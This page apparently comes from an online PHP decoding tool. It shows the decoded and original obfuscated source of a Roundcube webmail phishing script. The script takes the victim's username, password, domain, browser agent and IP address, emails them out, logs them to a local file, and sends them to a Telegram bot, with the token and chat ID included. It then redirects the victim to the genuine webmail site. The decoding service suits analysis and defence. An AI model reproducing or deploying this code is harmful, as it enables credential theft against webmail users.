Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto aeb6f; Dd6af: $d9a51 .= "\xd\12\x5b\x2b\x5d\40\122\157\165\156\144\143\x75\x62..
Decoded Output download
<?php
goto aeb6f; Dd6af: $d9a51 .= "\xd
[+] Roundcube Info [+]\xd\xa[IP] : " . $e4a1f . "\xd
[USERNAME] \x9 : " . $_POST["username"] . "
\xa[PASSWORD] \x9\x9: " . $_POST["password"] . "
[BROWSER AGENT] : " . $_POST["browser_agent"] . "
\xa[DOMAIN]\x9\x9 \x9: " . $_POST["domain"] . "\xd
\xd
\xd
----------------------------------\xa\xd
**********************************\xa
\xa**********************************\xa"; goto e85fb; A0862: EEE82($d9a51); goto f0ebe; F5094: $De9e3 = "https://webmail.{$c978a}"; goto f7fc7; ea9bc: fwrite($A8a8d, $d9a51); goto e6ff5; cf278: list(, $c978a) = explode("@", $Acce5); goto F5094; F6f55: $dbff8 = "Roundcube Login Infos "; goto B725f; B725f: $E835a = "From: nellaisamurai <Roundcube Webmail>
"; goto Dd6af; e85fb: mail($Ae260, $dbff8, $d9a51, $E835a); goto bdcd6; Ba408: exit; goto f4804; Dfe29: $Acce5 = $_POST["username"] ?? ''; goto Cc4ac; f0ebe: header("Location: {$De9e3}"); goto Ba408; e6ff5: function eEE82($D262c) { goto dff8e; bab3a: $Dbbf6 = "https://api.telegram.org/bot" . $Bb46f . "/sendMessage?chat_id=" . $a55ca; goto Db936; db18e: $a55ca = "1289212471"; goto bab3a; dff8e: $Bb46f = "7128490290:AAH1YsX9AA58KjU6-P6OCnt-MpaorBR1ClU"; goto db18e; C636d: return $e45bb; goto da505; A274e: curl_close($f5ee7); goto C636d; Db936: $Dbbf6 = $Dbbf6 . "&text=" . urlencode($D262c); goto fbf2a; C3678: $baf0a = array(CURLOPT_URL => $Dbbf6, CURLOPT_RETURNTRANSFER => true); goto Ba5fc; fbf2a: $f5ee7 = curl_init(); goto C3678; Ba5fc: curl_setopt_array($f5ee7, $baf0a); goto Cccba; Cccba: $e45bb = curl_exec($f5ee7); goto A274e; da505: } goto A0862; bdcd6: $A8a8d = fopen("stored.txt", "a"); goto ea9bc; Cc4ac: $B5a0c = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "UNKNOWN"; goto cf278; f7fc7: include "email.php"; goto F6f55; aeb6f: $e4a1f = $_SERVER["REMOTE_ADDR"]; goto Dfe29; f4804: echo "?>";
?>
Did this file decode correctly?
Original Code
<?php
goto aeb6f; Dd6af: $d9a51 .= "\xd\12\x5b\x2b\x5d\40\122\157\165\156\144\143\x75\x62\x65\40\x49\156\146\x6f\40\x20\133\x2b\x5d\xd\xa\133\x49\x50\x5d\40\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\x20\40\x20\x20\40\x20\40\x3a\40" . $e4a1f . "\xd\12\x5b\x55\123\x45\122\116\101\115\105\135\40\x20\x20\x20\40\x20\40\x9\11\x3a\40" . $_POST["\x75\163\145\162\x6e\x61\155\145"] . "\15\xa\x5b\120\x41\x53\123\x57\117\x52\104\x5d\x20\11\11\x9\x9\x3a\40" . $_POST["\160\141\163\x73\167\x6f\x72\x64"] . "\15\12\133\102\122\x4f\x57\123\x45\x52\40\x41\x47\x45\x4e\124\x5d\40\11\11\x3a\x20" . $_POST["\142\162\157\x77\163\145\x72\x5f\141\x67\x65\x6e\164"] . "\15\xa\x5b\104\x4f\x4d\x41\111\x4e\135\x9\x9\11\x9\72\x20" . $_POST["\x64\157\155\x61\x69\x6e"] . "\xd\12\xd\12\xd\12\x2d\55\55\55\55\55\55\x2d\55\x2d\55\55\55\55\55\x2d\55\x2d\55\x2d\55\55\x2d\x2d\55\55\55\55\x2d\x2d\x2d\55\55\55\xa\xd\12\52\x2a\x2a\52\x2a\52\x2a\52\52\52\x2a\x2a\x2a\x2a\x2a\52\x2a\52\x2a\52\52\x2a\x2a\52\x2a\52\x2a\x2a\x2a\52\52\52\x2a\x2a\xa\15\xa\52\x2a\52\52\x2a\52\52\x2a\52\52\52\x2a\52\x2a\x2a\52\52\52\52\x2a\52\x2a\x2a\52\52\x2a\x2a\x2a\52\52\x2a\x2a\x2a\52\xa"; goto e85fb; A0862: EEE82($d9a51); goto f0ebe; F5094: $De9e3 = "\x68\x74\x74\160\163\72\x2f\x2f\167\145\x62\x6d\141\151\x6c\x2e{$c978a}"; goto f7fc7; ea9bc: fwrite($A8a8d, $d9a51); goto e6ff5; cf278: list(, $c978a) = explode("\100", $Acce5); goto F5094; F6f55: $dbff8 = "\122\x6f\x75\156\x64\x63\x75\x62\145\x20\114\x6f\147\151\156\40\111\x6e\146\x6f\x73\x20"; goto B725f; B725f: $E835a = "\106\162\x6f\155\x3a\40\156\x65\x6c\154\x61\151\x73\141\155\165\x72\x61\x69\40\x3c\122\x6f\x75\x6e\x64\143\x75\x62\x65\x20\127\x65\142\155\141\151\154\76\15\12"; goto Dd6af; e85fb: mail($Ae260, $dbff8, $d9a51, $E835a); goto bdcd6; Ba408: exit; goto f4804; Dfe29: $Acce5 = $_POST["\165\163\145\x72\x6e\141\x6d\145"] ?? ''; goto Cc4ac; f0ebe: header("\x4c\157\143\x61\164\151\157\x6e\x3a\x20{$De9e3}"); goto Ba408; e6ff5: function eEE82($D262c) { goto dff8e; bab3a: $Dbbf6 = "\150\164\x74\160\x73\x3a\57\57\x61\160\151\56\x74\x65\x6c\x65\x67\162\141\155\x2e\157\162\x67\x2f\142\x6f\x74" . $Bb46f . "\x2f\x73\145\156\x64\115\145\x73\x73\x61\147\x65\77\143\150\141\164\137\151\x64\75" . $a55ca; goto Db936; db18e: $a55ca = "\x31\x32\x38\71\x32\x31\62\x34\67\61"; goto bab3a; dff8e: $Bb46f = "\67\x31\62\x38\x34\71\60\x32\x39\60\x3a\x41\x41\110\x31\131\x73\x58\71\x41\x41\65\x38\x4b\152\125\x36\x2d\120\x36\117\103\156\164\55\x4d\160\141\157\162\102\x52\61\103\154\125"; goto db18e; C636d: return $e45bb; goto da505; A274e: curl_close($f5ee7); goto C636d; Db936: $Dbbf6 = $Dbbf6 . "\x26\164\145\170\x74\75" . urlencode($D262c); goto fbf2a; C3678: $baf0a = array(CURLOPT_URL => $Dbbf6, CURLOPT_RETURNTRANSFER => true); goto Ba5fc; fbf2a: $f5ee7 = curl_init(); goto C3678; Ba5fc: curl_setopt_array($f5ee7, $baf0a); goto Cccba; Cccba: $e45bb = curl_exec($f5ee7); goto A274e; da505: } goto A0862; bdcd6: $A8a8d = fopen("\163\164\x6f\162\x65\x64\x2e\x74\170\x74", "\x61"); goto ea9bc; Cc4ac: $B5a0c = isset($_SERVER["\110\x54\x54\120\137\125\x53\105\122\x5f\x41\107\x45\x4e\124"]) ? $_SERVER["\x48\124\124\x50\137\x55\x53\x45\x52\137\x41\107\x45\x4e\124"] : "\x55\116\113\x4e\117\x57\116"; goto cf278; f7fc7: include "\x65\x6d\x61\151\x6c\56\x70\x68\x70"; goto F6f55; aeb6f: $e4a1f = $_SERVER["\x52\x45\115\117\124\x45\137\x41\x44\x44\x52"]; goto Dfe29; f4804: echo "\x3f\76";
Function Calls
None |
Stats
MD5 | ad3af313fdb42730e3044fdac868f8d7 |
Eval Count | 0 |
Decode Time | 48 ms |